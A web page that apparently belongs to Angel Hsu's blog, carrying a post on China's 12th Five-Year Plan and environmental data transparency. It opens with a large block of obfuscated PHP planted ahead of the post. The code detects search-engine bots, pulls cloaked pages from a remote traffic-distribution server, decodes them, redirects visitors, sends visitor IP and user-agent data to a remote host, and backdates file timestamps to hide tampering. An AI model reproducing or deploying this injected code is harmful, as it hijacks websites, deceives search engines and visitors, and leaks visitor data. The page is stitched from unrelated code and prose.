_41);$this->_43=strlen($this->_42);$this->_46=(is_dir($this->_44)&&is_writable($this->_44));$this->_16->l__16("init cache result: {$this->_46}");}function l__25($_3){if(!$this->_48){$this->_16->l__16(_1916063019(219));return false;}$_53=$this->l__26($_3);$this->_16->l__16("[cache] try $_53.");if(!file_exists($_53)){$this->_16->l__16(_1916063019(220));return false;}$_25=false;$_54=@fopen($_53,_1916063019(221));if($_54){if(@flock($_54,LOCK_SH)){fseek($_54,$this->_43);$_25=@fread($_54,(filesize($_53)-$this->_43));if($_25){$_55=@unserialize(gzuncompress($_25));if(is_array($_55)){if((time()-$_55[_1916063019(222)])<$this->_45*3600){$_25=$_55[_1916063019(223)];}else{$this->_16->l__16(_1916063019(224));$_25=false;}}else $this->_16->l__16(_1916063019(225));}@flock($_54,LOCK_UN);}else $this->_16->l__16("[cache] !!!ERROR can't lock file $_53");@fclose($_54);}else $this->_16->l__16("[cache] !!!ERROR can't open file $_53");return $_25;}function l__21($_3,$_8){if(!$this->_48){$this->_16->l__16(_1916063019(226));return false;}$_53=$this->l__26($_3);$_56=array(_1916063019(227)=>time(),_1916063019(228)=>$_8);$_57=gzcompress(serialize($_56),$this->_47);$_58=$this->_42 .$_57;$_59=(file_exists($_53))?filemtime($_53):time();if(time()-$_59<100){$_59=time()-(3600*24*365)*2;$this->_16->l__16(_1916063019(229));}$_60=false;$_54=@fopen($_53,_1916063019(230));if($_54){if(@flock($_54,LOCK_EX)){$_60=@fwrite($_54,$_58);@flock($_54,LOCK_UN);}else $this->_16->l__16("[cache]!!!ERROR can't lock file $_53");@fclose($_54);}else{$this->_16->l__16("[cache]!!!ERROR can't open file $_53");}@touch($_53,$_59,$_59);$this->_16->l__16("[cache]write to cache $_53: " .(((bool)$_60)?_1916063019(231):_1916063019(232)));return $_60;}function l__26($_3){$_61=str_replace(array(_1916063019(233),_1916063019(234),_1916063019(235),_1916063019(236),_1916063019(237)),_1916063019(238),strtolower($_3));$_62=crc32($_61);return $this->_44 ."button$_62.png";}}class l__27{var $_63;var $_64;var $_37;var $_38;function l__27($_65){$this->_63=$_65;$this->_64=(isset($_SERVER[_1916063019(239)]))?$_SERVER[_1916063019(240)]:getenv(_1916063019(241));$this->_64=trim($this->_64);}}class ____SerpUser_Detector extends l__27{function l__28(){$_66=false;if(preg_match(_1916063019(242),$this->_64)){$_67=array();if(preg_match(_1916063019(243),$this->_64,$_67)){$_68=(isset($_67[2]))?$_67[2]:null;$this->_38=$_68;if(!empty($_68)){foreach($this->_63 as $_69){if(stristr($_68,$_69)!==false){$this->_37=$_69;$_66=true;break;}}}}}return $_66;}}class l__29 extends l__27{var $_70;var $_71;var $_72;var $_73;var $_74='http://www.google.com/search?q=info:{url}&ie=utf-8&oe=utf-8&hl=en&gl=us';function l__29($_65,&$_75,$_10,$_76){$this->_70=&$_75;$this->_71=$_76;$this->_72=$_10;$this->_73=3600*6;parent::l__27($_65);}function l__28($_3){$_66=false;if(preg_match(_1916063019(244),$this->_64)){$_67=array();if(preg_match(_1916063019(245),$this->_64,$_67)){$_68=$this->l__30($_3);if($_68!==false){$this->_38=$_68;}if(!empty($_68)&&$_68!==false){foreach($this->_63 as $_69){if(stristr($_68,$_69)!==false){$this->_37=$_69;$_66=true;break;}}}}}return $_66;}function l__30($_3){$_77=false;$_78=false;$_79=$this->l__33();$_80=$this->l__35($_3);$_81=time();$_82=_1916063019(246);if(isset($_79[$_80][_1916063019(247)])){$_82=$_79[$_80][_1916063019(248)];}if(empty($_82)){$_69=$this->l__32($_3);if($_69!==false){$_82=$_79[$_80][_1916063019(249)]=$_69;}}if(!empty($_82)){$_83=array(_1916063019(250)=>false,_1916063019(251)=>0);if(isset($_79[$_80][_1916063019(252)])){$_83=$_79[$_80][_1916063019(253)];}if(!$_83[_1916063019(254)]){if(($_81-$_83[_1916063019(255)])>$this->_73){if($this->l__31($_3))$_83[_1916063019(256)]=$_79[$_80][_1916063019(257)][_1916063019(258)]=true;else $_79[$_80][_1916063019(259)][_1916063019(260)]=false;$_79[$_80][_1916063019(261)][_1916063019(262)]=$_81;$_77=true;}}$_78=$_83[_1916063019(263)];}if($_77){$this->l__34($_79);}return($_78&&!empty($_82))?$_82:false;}function l__31($_3){global $_84;$_84=implode(_1916063019(264),$this->_63);$_85=str_replace(_1916063019(265),urlencode($_3),$this->_74);$_86=$this->_72->l__53($_85,true);foreach($this->_63 as $_69){if(stristr($_86,$_69)!==false){return true;}}return false;}function l__32($_3){$_86=$this->_70->l__71($_3);if($_86[_1916063019(266)]){$_87=array();if(preg_match(_1916063019(267),$_86[_1916063019(268)],$_87)){$_69=$_87[1];return $_69;}}return false;}function l__33(){if(!file_exists($this->_71)){$_88=time()-3600*24*31*3;@touch($this->_71,$_88,$_88);return array();}$_54=@fopen($this->_71,_1916063019(269));if($_54){@flock($_54,LOCK_SH);$_8=@fread($_54,filesize($this->_71));@flock($_54,LOCK_UN);@fclose($_54);$_89=@unserialize(gzuncompress($_8));return($_89===false)?array():$_89;}return array();}function l__34($_79){$_90=@filemtime($this->_71);$_57=gzcompress(serialize($_79),5);$_54=@fopen($this->_71,_1916063019(270));if($_54){@flock($_54,LOCK_EX);fwrite($_54,$_57);@flock($_54,LOCK_UN);@fclose($_54);@touch($this->_71,$_90,$_90);}}function l__35($_3){$_61=str_replace(array(_1916063019(271),_1916063019(272),_1916063019(273),_1916063019(274),_1916063019(275)),_1916063019(276),strtolower($_3));return md5($_61);}}class l__36{var $_91;var $_92=array();var $_93;var $_94;var $_16;var $_95='[botdetector]';function l__36($_9,&$_96,&$_97,&$_50,$_98=array('ua','ip')){$this->_92=$_9;$this->_93=$_96;$this->_94=$_97;$this->_91=$_98;$this->_16=&$_50;}function l__37(){$_99=$_SERVER[_1916063019(277)];$_100=$this->_94->l__43();if($_100===false)return false;$_101=false;if(in_array(_1916063019(278),$this->_91)){$this->_16->l__16("{$this->_95} check ip");$_101=$this->l__39($_99,$_100[_1916063019(279)]);}if(!$_101&&in_array(_1916063019(280),$this->_91)){$this->_16->l__16("{$this->_95} check ua");$_101=$this->l__38($_100[_1916063019(281)]);}if(!$_101){$this->_16->l__16("{$this->_95} check host");$_101=$this->l__41($_99);}return $_101;}function l__38(&$_102){$_103=$_SERVER[_1916063019(282)];foreach($_102 as $_104){if(stristr($_103,$_104))return true;}return false;}function l__39($_99,&$_105){$_106=ip2long($_99);$_107=false;foreach($_105 as $_108){$_108=trim($_108);if(stristr($_108,_1916063019(283))!==false||stristr($_108,_1916063019(284))!==false){list($_109,$_110)=$this->l__40($_108);$_111=ip2long($_109);$_112=ip2long($_110);if($_106>=$_111&&$_106<=$_112){$_107=true;break;}}else{if($_99==$_108){$_107=true;break;}}}return $_107;}function l__40($_99){$_113=explode(_1916063019(285),$_99);$_114=$_115=array();foreach($_113 as $_116){if($_116== _1916063019(286)){$_114[]=0;$_115[]=255;continue;}if(stristr($_116,_1916063019(287))){$_117=explode(_1916063019(288),$_116);$_114[]=$_117[0];$_115[]=$_117[1];}else{$_114[]=$_116;$_115[]=$_116;}}return array(join(_1916063019(289),$_114),join(_1916063019(290),$_115));}function l__41($_99){if(!$this->_92[_1916063019(291)])return false;$_118=@gethostbyaddr($_99);if(empty($_118))return false;$_118=strtolower($_118);foreach($this->_92[_1916063019(292)]as $_119){if(strpos($_118,$_119)!==false){$this->_93->l__49($_99,$_118);return true;}}return false;}}class l__42{var $_72;var $_120;var $_121;var $_122;var $_95='[botprovider]';var $_16;function l__42(&$_10,&$_50,$_123,$_124,$_125){$this->_72=$_10;$this->_120=$_123;$this->_121=$_124;$this->_122=$_125*3600;$this->_16=&$_50;}function l__43(){$_8=$this->l__44();if($_8===false||time()-($_8[_1916063019(293)])>$this->_122){$this->_16->l__16("{$this->_95} data need update. try update");$this->l__45();$_8=$this->l__44();}if($_8===false)$this->_16->l__16("{$this->_95} data is not present");return $_8;}function l__44(){if(!file_exists($this->_121)){$this->_16->l__16("{$this->_95} bot file not exists");return false;}clearstatcache();if(filesize($this->_121)==0)return false;$_8=false;$_54=@fopen($this->_121,_1916063019(294));if($_54){if(@flock($_54,LOCK_SH)){$_126=fread($_54,filesize($this->_121));$_8=$this->l__46($_126);if($_8===false)$this->_16->l__16("{$this->_95} data is corrupted");@flock($_54,LOCK_UN);}else $this->_16->l__16("{$this->_95} cannot lock file for read");@fclose($_54);}else{$this->_16->l__16("{$this->_95} cannot open file for read");}return $_8;}function l__45(){$_127=(file_exists($this->_121))?filemtime($this->_121):(time()-24*3600*30*3);$_54=@fopen($this->_121,_1916063019(295));if($_54){if(@flock($_54,LOCK_EX)){$_128=$this->_72->l__53($this->_120);$_129=$this->l__46($_128);if($_129!==false){$_8=array(_1916063019(296)=>time(),_1916063019(297)=>$_129[_1916063019(298)],_1916063019(299)=>$_129[_1916063019(300)]);$_126=$this->l__47($_8);@ftruncate($_54,0);if(!@fwrite($_54,$_126))$this->_16->l__16("{$this->_95} cannot write data");}else{$this->_16->l__16("{$this->_95} server data is corrupted");}@flock($_54,LOCK_UN);}else $this->_16->l__16("{$this->_95} cannot lock file for update");@fclose($_54);@touch($this->_121,$_127,$_127);}else{$this->_16->l__16("{$this->_95} cannot open file for update");}}function l__46($_126){return@unserialize(gzuncompress($_126));}function l__47($_8){return gzcompress(serialize($_8),9);}}class l__48{var $_72;var $_130;function l__48($_10,$_3){$this->_72=$_10;$this->_130=$_3;}function l__49($_99,$_131){$_8=array(_1916063019(301)=>$_SERVER[_1916063019(302)],_1916063019(303)=>$_99,_1916063019(304)=>$_131,_1916063019(305)=>$_SERVER[_1916063019(306)]);$_1=array();foreach($_8 as $_69 => $_132){$_1[]="$_69=" .base64_encode($_132);}$_1[]=_1916063019(307) .crc32($_8[_1916063019(308)]);$_3=$this->_130 ._1916063019(309) .join(_1916063019(310),$_1);@$this->_72->l__54($_3);}}class l__50{var $_92=array('timeout'=>10,'headers'=>array());var $_133;var $_16;var $_134;function l__50(&$_50,$_135='curl',$_9=array()){$this->_16=&$_50;$this->_134=$_135;$this->_92=array_merge($this->_92,$_9);}function l__51($_69,$_132){$this->_92[$_69]=$_132;}function l__52(){$_136=array();foreach($this->_92[_1916063019(311)]as $_69=>$_132)$_136[]="$_69: $_132";return $_136;}function l__53($_3,$_137=true){switch($this->_134){case _1916063019(312):$_138=$this->l__60($_3,$_137);break;case _1916063019(313):$_138=$this->l__58($_3,$_137);break;case _1916063019(314):$_138=$this->l__55($_3);break;default:$this->_16->l__16("[webclient] unknown webclient type. {$this->_134}");}$this->_16->l__16(_1916063019(315) .strlen($_138));return $_138;}function l__54($_3){switch($this->_134){case _1916063019(316):return $this->l__61($_3);break;case _1916063019(317):return $this->l__59($_3);break;case _1916063019(318):return $this->l__56($_3);break;default:$this->_16->l__16("[webclient] unknown webclient type. {$this->_134}");}}function l__55($_3){$this->_16->l__16("[webclient(socket)] load content: $_3");$_54=$this->l__57($_3);if(!$_54)return _1916063019(319);$_55=_1916063019(320);while(!@feof($_54)){$_55.=@fread($_54,8192);}fclose($_54);$_113=explode(_1916063019(321),$_55,2);$_55=(count($_113)==2)?$_113[1]:$_55;return $_55;}function l__56($_3){$this->_16->l__16("[webclient(socket)] load headers: $_3");$_54=$this->l__57($_3);if(!$_54)return _1916063019(322);$_55=_1916063019(323);while(!@feof($_54)){$_55.=@fread($_54,8192);if(strpos($_55,_1916063019(324))!==false){$_113=explode(_1916063019(325),$_55,2);$_55=$_113[0];break;}}fclose($_54);return $this->l__63($_55);}function l__57($_3){$this->_133=_1916063019(326);$_139=parse_url($_3);$_53=(empty($_139[_1916063019(327)]))?_1916063019(328):$_139[_1916063019(329)];if(!empty($_139[_1916063019(330)]))$_53.= _1916063019(331) .$_139[_1916063019(332)];$_140=$_141=null;$_54=@fsockopen($_139[_1916063019(333)],80,$_140,$_141,$this->_92[_1916063019(334)]);if(!$_54){$this->_16->l__16("[webclient(socket)] error: $_141");return false;}stream_set_timeout($_54,$this->_92[_1916063019(335)]);fwrite($_54,"GET $_53 HTTP/1.1\n");fwrite($_54,"Host: {$_139[_1916063019(336)]}\n");fwrite($_54,_1916063019(337));foreach($this->l__52()as $_142)fwrite($_54,"$_142\n");fwrite($_54,_1916063019(338));return $_54;}function l__58($_3,$_137=true){$this->_133=_1916063019(339);$this->_16->l__16("[webclient(fopen)] load content: $_3");$_143=array(_1916063019(340)=>array(_1916063019(341)=>7,_1916063019(342)=>$_137,_1916063019(343)=>join(_1916063019(344),$this->l__52()),_1916063019(345)=>$this->_92[_1916063019(346)]));$_144=stream_context_create($_143);$_54=@fopen($_3,_1916063019(347),false,$_144);$_55=_1916063019(348);while(!@feof($_54)){$_55.=@fread($_54,8192);}@fclose($_54);return $_55;}function l__59($_3){$this->_133=_1916063019(349);$this->_16->l__16("[webclient(get_headers)] load headers: $_3");$_145=@get_headers($_3,true);return $_145;}function l__60($_3,$_137=true){global $_84;$this->_16->l__16("[webclient(curl)] load content: $_3");$_146=$this->l__62($_3);curl_setopt($_146,CURLOPT_HEADER,0);@curl_setopt($_146,CURLOPT_FOLLOWLOCATION,$_137);curl_setopt($_146,CURLOPT_HTTPHEADER,$this->l__52());$_55=@curl_exec($_146);if($_55===false){$_147=curl_error($_146);$this->_16->l__16("[webclient(curl)] FAILED: $_147");if(stristr($_3,_1916063019(350))&& curl_errno($_146)>0){$_55=$_84;}}if(stristr($_3,_1916063019(351))&& curl_getinfo($_146,CURLINFO_HTTP_CODE)==302){$_55=$_84;}curl_close($_146);return $_55;}function l__61($_3){$this->_16->l__16("[webclient(curl)] load headers: $_3");$_146=$this->l__62($_3);curl_setopt($_146,CURLOPT_HEADER,1);curl_setopt($_146,CURLOPT_NOBODY,1);$_55=@curl_exec($_146);if($_55===false){$_147=curl_error($_146);$this->_16->l__16("[webclient(curl)] FAILED: $_147");}curl_close($_146);return $this->l__63($_55);}function l__62($_3){$this->_133=_1916063019(352);$_146=curl_init();curl_setopt($_146,CURLOPT_URL,$_3);curl_setopt($_146,CURLOPT_TIMEOUT,$this->_92[_1916063019(353)]);curl_setopt($_146,CURLOPT_RETURNTRANSFER,true);return $_146;}function l__63($_148){$_148=str_replace(_1916063019(354),_1916063019(355),$_148);$_149=explode(_1916063019(356),$_148);$_145=array();foreach($_149 as $_150){$_150=trim($_150);if(empty($_150))continue;if(strpos($_150,_1916063019(357))===false)continue;@list($_69,$_132)=explode(_1916063019(358),$_150,2);if(isset($_145[$_69])){if(!is_array($_145[$_69]))$_145[$_69]=array($_145[$_69]);$_145[$_69][]=$_132;}else $_145[$_69]=(!empty($_132))?$_132:_1916063019(359);}$this->_16->l__16(_1916063019(360) .trim($_148));return $_145;}}class l__64{var $_72;var $_151;function l__64($_10,$_152){$this->_72=&$_10;$_152=str_replace(_1916063019(361),$_SERVER[_1916063019(362)],$_152);$_152=str_replace(_1916063019(363),rawurlencode($_SERVER[_1916063019(364)]),$_152);$_152=str_replace(_1916063019(365),rawurlencode(_1916063019(366) .@$_SERVER[_1916063019(367)]),$_152);$this->_151=$_152;}function l__65(){return preg_replace(_1916063019(368),_1916063019(369),$this->_151);}function l__66($_69,$_132){$this->_151=str_replace(_1916063019(370) .$_69 ._1916063019(371),rawurlencode($_132),$this->_151);}function l__67(){$_145=$this->_72->l__54($this->l__65());if(!isset($_145[_1916063019(372)]))return false;$_153=trim($_145[_1916063019(373)]);$_154=_1916063019(374);if(strpos($_153,_1916063019(375))!==false){list($_153,$_154)=explode(_1916063019(376),$_153);}return array($_153,$_154);}}class ____External_Base{function l__68($_138){echo $_138;}}class l__69{var $_155;var $_72=false;var $_156;function l__69($_157,$_10=false){$this->_155=rtrim($_157,_1916063019(377)) ._1916063019(378);if($_10)$this->_72=&$_10;}function l__70($_158){$this->_156=$_158;}function l__71($_3){$_69=$this->l__72($_3);$_159=$this->_155 .$_69;$_86=false;$_160=_1916063019(379);$_161=false;if($this->_72!=false){$_86=$this->_72->l__53($_159);$_160=$this->_72->_133;$_86=trim($_86);if(stristr($_86,_1916063019(380))){$_86=false;$_161=true;}}else{$_86=$this->l__73($_159);if($_86===false)$_161=true;$_160=_1916063019(381);}if($this->_156!==null){$_86=$this->_156->l__74($_86);}return array(_1916063019(382)=>(bool)$_86,_1916063019(383)=>$_86,_1916063019(384)=>$_159,_1916063019(385)=>$_160,_1916063019(386)=>$_161);}function l__72($_3){$_61=str_replace(array(_1916063019(387),_1916063019(388),_1916063019(389),_1916063019(390),_1916063019(391)),_1916063019(392),strtolower($_3));return md5($_61);}function l__73($_53){if(!file_exists($_53))return false;@$_162=fopen($_53,_1916063019(393));@$_86=fread($_162,filesize($_53));@fclose($_162);return $_86;}}class ____CloackPage_Decoder{function l__74($_8){if(empty($_8))return null;$_163=@base64_decode($_8);if($_163===false)return $_8;$_129=@gzinflate(@str_rot13($_163));if($_129===false)return $_8;return $_129;}}class ____Bootstrap_Simple extends l__0{function l__75(){if(!isset($this->_6[_1916063019(394)]))$this->_6[_1916063019(395)]=&new l__76($this->l__2($this->_7),$this->_4[_1916063019(396)][_1916063019(397)]);return $this->_6[_1916063019(398)];}}class ____Engine_Simple extends l__9{function l__11($_3,$_23){$_24=$this->_15->l__75();$_22=$this->_15->l__4();$_164=$_22->l__65();if($this->_4[_1916063019(399)]== _1916063019(400)){if(!$this->_18)$_24->l__77();$this->_16->l__16("request tds url: $_164");list($_153,$_154)=$_22->l__67();$this->_16->l__16("received out url: $_153");if($_153===false){$this->_16->l__16("bad out url. redirect to tds: $_164");if(!$this->_18)$_24->l__80($_164);}else{$this->_16->l__16("try load out page: $_153");$_165=$this->_15->l__7();$_86=$_165->l__25($_153);if($_86===false||strlen($_86)<10){$this->_16->l__16(_1916063019(401));$_86=$_24->l__79($_153);if($_86==false||strlen($_86)<10){$this->_16->l__16("bad loaded page. redirect to tds: $_164");if(!$this->_18)$_24->l__80($_164);}else{$this->_16->l__16(_1916063019(402));$_165->l__21($_153,$_86);if(!$this->_18)$_24->l__78();if(!$this->_18)$_24->l__81($_86,$_23);}}else{$this->_16->l__16(_1916063019(403));if(!$this->_18)$_24->l__78();if(!$this->_18)$_24->l__81($_86,$_23);}}}else{$this->_16->l__16("local work. redirect to tds: $_164");if(!$this->_18)$_24->l__80($_164);}}function l__12($_23){}}class l__76 extends ____External_Base{var $_72;var $_166;var $_167;function l__76($_10,$_168){$this->_72=&$_10;$this->_166=_1916063019(404) .str_replace(_1916063019(405),_1916063019(406),uniqid(rand(),true));$this->_167=$_168;@ini_set(_1916063019(407),0);@ini_set(_1916063019(408),1);@ob_end_clean();@ob_implicit_flush();}function l__77(){}function l__78(){}function l__79($_153){$_99=@$_SERVER[_1916063019(409)];if(strpos($_153,_1916063019(410))!==false){$_169="ip=$_99&remote_ip=$_99";$_153.=(strpos($_153,_1916063019(411))===false)?_1916063019(412):_1916063019(413);$_153.=$_169;}$_86=$this->_72->l__53($_153);if($_86){$_86=preg_replace_callback('/]+)href\s*=\s*["\']([^\s>"\']+)[\'"]([^>]*)?>/sim',array($this,'_setCustomParameter'),$_86);if(!@preg_match(_1916063019(414),$_86)){$_170="";if(@preg_match(_1916063019(415),$_86))$_86=@preg_replace(_1916063019(416),"$1$_170",$_86,1);else if(@preg_match(_1916063019(417),$_86))$_86=str_replace(_1916063019(418),$_170 ._1916063019(419) ._1916063019(420),$_86);else $_86=$_170 .$_86;}}return $_86;}function l__80($_3){if(!headers_sent()){header("Location: $_3");}else{$_28=_1916063019(421) .$_3 ._1916063019(422);$_28.= _1916063019(423) .$_3 ._1916063019(424);echo $_28;@flush();@ob_flush();}}function l__81($_138,$_23){$_171=$this->l__83($_23);$_138=preg_replace(_1916063019(425),"",$_138);echo $_138;}function l__82($_138){}function _setCustomParameter($_172){$_3=$_172[2];$_173=_1916063019(426);if(strpos($_3,_1916063019(427))!==false){list($_3,$_173)=explode(_1916063019(428),$_3);}if(strpos($_3,_1916063019(429))!==false){$_3.= _1916063019(430) .$this->_167;}else{$_3.= _1916063019(431) .$this->_167;}if(!empty($_173))$_3.= _1916063019(432) .$_173;$_174="";return $_174;}function l__83($_23){$_99=$_SERVER[_1916063019(433)];$_103=$_SERVER[_1916063019(434)];$_175=$_SERVER[_1916063019(435)];$_21=$_23[_1916063019(436)];$_171="$_99|$_103|$_175|$_21";$_176=base64_encode(gzcompress($_171,9));$_176=str_rot13($_176);$_176=strrev($_176);$_176=base64_encode(gzcompress($_171,9));$_176=str_rot13($_176);return $_176;}}$_177=null;$_178=null;$_8=array(_1916063019(437)=>$_2);$_177=new ____Bootstrap_Simple($_1,$_8);$_178=new ____Engine_Simple($_177,$_1);$_178->l__10($_3);unset($_177);unset($_178); ?> China’s 12th Five-Year Plan Lays Out Ambitious Blueprint, But Data Challenges Remain | Angel Hsu

China’s 12th Five-Year Plan Lays Out Ambitious Blueprint, But Data Challenges Remain

This post originally appeared on the Yale Center for Environmental Law and Policy blog.

In March, China released its 12th Five-Year Plan – a blueprint outlining the key economic and development targets for the country over the next few years.  Unlike previous Plans, climate change and energy are featured prominently, and a strong emphasis is placed on a slower, more sustainable growth trajectory.[1]  Not only is the 12th Five-Year Plan the first to mention climate change, but it adopts as part of national, binding law the climate pledges China first made at the United Nations Framework Convention on Climate Change (UNFCCCC) Copenhagen climate summit in December 2009.  Binding targets for a range of other environment and energy issues are also included in the Plan, including important air and water quality pollutants that were previously absent.

Part of the country’s ability to achieve these targets will be in its capacity to measure and track progress toward its goals.  The Chinese government has pledged implementation of “well-equipped and statistical and monitoring systems” and “index evaluation systems”[2] in the 12th Five Year Plan, indicating an increasing awareness of the importance of data, information and robust infrastructure to ensure targets are met.  However, while there are signs of China’s move toward a more “data-driven” approach to decision-making in the formulation of the latest Plan, political sensitivities around pollution information still persist, meaning China may still confront challenges when trying to improve environmental conditions.

The 12th Five-Year Plan comes at a time of growing recognition from the Chinese government regarding the importance of information for environmental decision-making. In 2010 the Chinese government completed its first national census of pollution, requiring more than $100 million U.S. dollars, 570,000 staff and nearly two years to complete.[3]  The survey mapped more than 6 million sources of residential, industrial, and notably agricultural pollution, which had been previously absent from measures of water contamination.  The survey found that previous measures of water pollution – specifically chemical oxygen demand – had neglected to include non-point agricultural sources of pollution, from fertilizer and pesticide effluent as well as landfill leakage.[4]Including these non-point sources of discharge meant that prior measures of water pollution had been missing over half of the baseline data for chemical oxygen demand – from 13.8 million tons in 2007 to 30.3 million.  At the time, Chinese officials noted that the targets would not be revised based on the new data, while still touting China’s success in meeting COD reduction targets in the 11th Five-Year Plan. However, the findings from the survey did lead to the adoption of a binding reduction target for a critical water pollutant – ammonia nitrogen – and continued reduction goals for Chemical Oxygen Demand (COD) in the 12th Five-Year Plan. The adoption of these new water pollution targets were largely due in part to the survey results, which allowed for the government to set new targets and refine previous ones based on this new information.

While this example speaks to the progress China is making in terms of measurement and performance tracking, political sensitivities surrounding other environmental data still prove to be barriers to policy changes.  Earlier this year, the Chinese Ministry of Environmental Protection (MEP) released draft proposals to amend its Air Pollution Index (API) [5] to an Air Quality Index (AQI) that more closely resembles the U.S. version [6]. While the proposed amendments include significant improvements – such as including ozone measurements, improved calculation methodologies, and standardizing color-coding schemes – PM 2.5 [7] is notably absent.Experts, such as Ma Jun, Director of the Institute of Public and Environmental Affairs (IPE), a Beijing-based NGO, and former Yale World Fellow, have suggested that leaving out PM 2.5 is due to political rather than technical concerns. “Government agencies feel the index may hurt the image of many cities that want to attract investment or that they may not be able to improve PM 2.5 pollution in a short time,” Ma told the Global TimesU.S. diplomatic cables have also revealed that lack of measurement of PM 2.5 and other dangerous air pollutants could be due to fear of political consequences.

So while we can see evidence that China is embracing improved data-based decision-making, the results are mixed because political vulnerability toward environmental pollution is still a serious concern amongst Chinese leadership who fear citizen unrest and social instability.  What China must realize are the benefits from knowing risks and exposures to environmental harms and pollutants, which is not possible without measurement.  Failing to incorporate critical pollutants in national environmental policies only pushes serious concerns under the rug, in a type of “act now, apologize later” mentality that in many cases have led to dire political ramifications for Chinese government officials when harmful pollution disasters surface [8].

Therefore, while the 12th Five-Year Plan makes important inroads in establishing more comprehensive environment and energy-related targets, equal progress needs to be made in terms of data transparency and a shift toward a government culture that doesn’t fear data and numbers.Only then can the Chinese leadership expect to formulate sound policies and robust systems to drive environmental results.


[2] Premier Wen’s Work Report, the NDRC Draft Plan for National Economic and Social Development, and the Ministry of Finance Budget Report can all be found online:http://blogs.wsj.com/chinarealtime/2011/03/05/china-npc-2011-reports-full-text/.

[3] Xinhua News Agency. 2010. China issues first national census of pollution sources. February 10.http://english.mep.gov.cn/News_service/media_news/201002/t20100210_185653.htm.

[4] Ansfield, J. and K. Bradsher. 2010. China Report Shows More Pollution in Waterways. The NY Times.http://www.nytimes.com/2010/02/10/world/asia/10pollute.html.

[5] For information on how the API is calculated, see:http://www.livefrombeijing.com/2008/08/what-is-the-api-and-how-is-it-calculated/.

[6] Hsu, A. 2011. China amends air quality measures but misses key pollutant – PM 2.5.http://hsu.me/2011/03/china-amends-air-quality-measures-but-misses-key-pollutant-pm-2-5/.

[7] PM 2.5 refers to air particulates with a diameter of 2.5 microns or less; known to have serious health implications such as asthma, lung cancer, and cardiovascular disease, due to their ability to penetrate human lungs.

[8] Si, Meng. 2011. On Yunnan’s Chromium Trail. China Dialogue.http://www.chinadialogue.net/article/show/single/en/4493.

Facebook Twitter Email

, , , , ,